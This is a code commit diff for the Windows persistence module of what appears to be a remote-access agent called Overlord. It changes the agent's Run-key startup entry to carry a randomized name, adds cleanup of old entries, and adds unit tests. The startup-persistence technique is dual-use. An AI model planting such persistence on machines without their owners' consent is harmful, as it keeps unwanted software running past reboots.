improve updating

Overlord-Client/cmd/agent/persistence/persistence_windows.go

@@ -4,16 +4,20 @@
 package persistence
 
 import (
+	"crypto/rand"
+	"encoding/hex"
 	"fmt"
 	"io"
 	"os"
 	"path/filepath"
+	"strings"
 
 	"golang.org/x/sys/windows/registry"
 )
 
 const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
-const registryValueName = "OverlordAgent"
+const legacyRegistryValueName = "OverlordAgent"
+const registryValuePrefix = "OverlordAgent-"
 
 func formatRunRegistryCommand(exePath string) string {
 	trimmed := filepath.Clean(exePath)
@@ -54,8 +58,7 @@ func install(exePath string) error {
 	}
 	defer k.Close()
 
-	err = k.SetStringValue(registryValueName, formatRunRegistryCommand(targetPath))
-	if err != nil {
+	if err := setStartupRunValue(k, targetPath); err != nil {
 		return fmt.Errorf("failed to set registry value: %w", err)
 	}
 
@@ -109,7 +112,7 @@ func configure(exePath string) error {
 	}
 	defer k.Close()
 
-	if err := k.SetStringValue(registryValueName, formatRunRegistryCommand(exePath)); err != nil {
+	if err := setStartupRunValue(k, exePath); err != nil {
 		return fmt.Errorf("failed to set registry value: %w", err)
 	}
 
@@ -124,9 +127,8 @@ func uninstall() error {
 	}
 	defer k.Close()
 
-	err = k.DeleteValue(registryValueName)
-	if err != nil && err != registry.ErrNotExist {
-		return fmt.Errorf("failed to delete registry value: %w", err)
+	if err := cleanupOverlordRunValues(k); err != nil {
+		return fmt.Errorf("failed to clean startup registry values: %w", err)
 	}
 
 	appDataDir := os.Getenv("APPDATA")
@@ -138,3 +140,48 @@ func uninstall() error {
 
 	return nil
 }
+
+func setStartupRunValue(k registry.Key, exePath string) error {
+	if err := cleanupOverlordRunValues(k); err != nil {
+		return err
+	}
+
+	name, err := generateStartupValueName()
+	if err != nil {
+		return err
+	}
+
+	return k.SetStringValue(name, formatRunRegistryCommand(exePath))
+}
+
+func cleanupOverlordRunValues(k registry.Key) error {
+	names, err := k.ReadValueNames(0)
+	if err != nil {
+		return err
+	}
+
+	for _, name := range names {
+		if isOverlordRunValueName(name) {
+			if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
+				return err
+			}
+		}
+	}
+
+	return nil
+}
+
+func isOverlordRunValueName(name string) bool {
+	if strings.EqualFold(name, legacyRegistryValueName) {
+		return true
+	}
+	return strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix))
+}
+
+func generateStartupValueName() (string, error) {
+	b := make([]byte, 6)
+	if _, err := rand.Read(b); err != nil {
+		return "", fmt.Errorf("failed to generate startup value name: %w", err)
+	}
+	return registryValuePrefix + hex.EncodeToString(b), nil
+}

Overlord-Client/cmd/agent/persistence/persistence_windows_test.go

@@ -3,7 +3,10 @@
 
 package persistence
 
-import "testing"
+import (
+	"strings"
+	"testing"
+)
 
 func TestFormatRunRegistryCommand_QuotesUnquotedPath(t *testing.T) {
 	in := `C:\Users\Test User\AppData\Roaming\Overlord\agent.exe`
@@ -21,3 +24,38 @@ func TestFormatRunRegistryCommand_LeavesQuotedPath(t *testing.T) {
 		t.Fatalf("expected %q, got %q", in, got)
 	}
 }
+
+func TestGenerateStartupValueName(t *testing.T) {
+	name, err := generateStartupValueName()
+	if err != nil {
+		t.Fatalf("generateStartupValueName failed: %v", err)
+	}
+	if !strings.HasPrefix(name, registryValuePrefix) {
+		t.Fatalf("expected prefix %q, got %q", registryValuePrefix, name)
+	}
+	if len(name) != len(registryValuePrefix)+12 {
+		t.Fatalf("expected random suffix length 12, got name=%q", name)
+	}
+}
+
+func TestIsOverlordRunValueName(t *testing.T) {
+	tests := []struct {
+		name string
+		in   string
+		want bool
+	}{
+		{name: "Legacy", in: "OverlordAgent", want: true},
+		{name: "LegacyCaseInsensitive", in: "overlordagent", want: true},
+		{name: "Randomized", in: "OverlordAgent-a1b2c3d4e5f6", want: true},
+		{name: "RandomizedCaseInsensitive", in: "overlordagent-deadbeefcafe", want: true},
+		{name: "OtherApp", in: "OneDrive", want: false},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := isOverlordRunValueName(tt.in); got != tt.want {
+				t.Fatalf("isOverlordRunValueName(%q)=%v, want %v", tt.in, got, tt.want)
+			}
+		})
+	}
+}